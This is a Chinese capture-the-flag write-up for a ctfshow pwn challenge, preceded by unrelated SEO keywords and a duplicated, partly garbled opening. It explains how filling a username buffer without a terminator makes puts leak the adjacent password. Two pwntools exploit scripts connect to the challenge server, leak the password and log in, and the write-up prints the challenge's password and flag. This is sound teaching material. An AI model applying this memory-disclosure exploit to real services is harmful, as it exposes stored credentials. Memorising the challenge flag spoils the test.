python 网站开发 环境,网络培训机构排名,增城微网站建设,如何在手机上开发软件检查一下#xff0c;32 位程序#xff0c;开启 NX 保护 ida 反编译看伪代码 首先清空了 s、v5、s1
读取用户名到 v5
在 v5 中找 \n#xff0c;找到则将其设置为 \0
在 v5 后面追加 \nInput your Password.
接下来打开 password.txt 读到 s
打印出 v5 即用户名
继续从…检查一下32 位程序开启 NX 保护 ida 反编译看伪代码 首先清空了 s、v5、s1
读取用户名到 v5
在 v5 中找 \n找到则将其设置为 \0
在 v5 后面追加 \nInput your Password.
接下来打开 password.txt 读到 s
打印出 v5 即用户名
继续从标准输入读取内容到 s1
将 v5 的第一个元素设置为 0
比较 s1 和 s 是否相等相等则执行 flag 函数
跟进 flag 函数看看
flag 函数就是读取并打印 flag 那么漏洞点在哪儿虽然我们 fgets 能输入的长度最大就是数组的大小
但是这个 puts 有问题puts 需要遇到 \x00 才会停止 尽管前面会将我们输入到 v5 的内容的 \n 替换为 \0
但是如果我们直接将 v5 填充满那么结尾的换行符就输不进去
那么就导致找不到换行符进而截止标识 \x00 也没有
由于 puts 没有遇到 \x00并且 s 就在 v5 下面
s 存储的是密码就会被一起打印出来
测试一下exp
# authorMy6n
# time20250613
from pwn import *
context(arch i386,os linux,log_level debug)
io remote(pwn.challenge.ctf.show,28233)
payload cyclic(0x100)
io.sendlineafter(Input your Username:\n,payload)
io.recvuntil(Welcome )
passwd io.recv()
print(passwd) 拿到密码CTFshow_PWN_r00t_pssw0rd_1s_h3r3
拿到密码后再次连接用户名随便输
密码输正确即可拿到 flag flagctfshow{58368d5b-b049-406b-a415-e8a4929e6c91}
当然也可以写一个一步到位的 exp
# authorMy6n
# time20250613
from pwn import *
context(arch i386,os linux,log_level debug)
io remote(pwn.challenge.ctf.show,28233)
payload cyclic(0x100)
io.sendlineafter(Input your Username:\n,payload)
io.recvuntil(,)
passwd io.recv()[:33]
print(passwd)
io.close()
io remote(pwn.challenge.ctf.show,28233)
io.sendlineafter(Input your Username:\n,btest)
io.sendlineafter(Input your Password.\n,passwd)
io.interactive()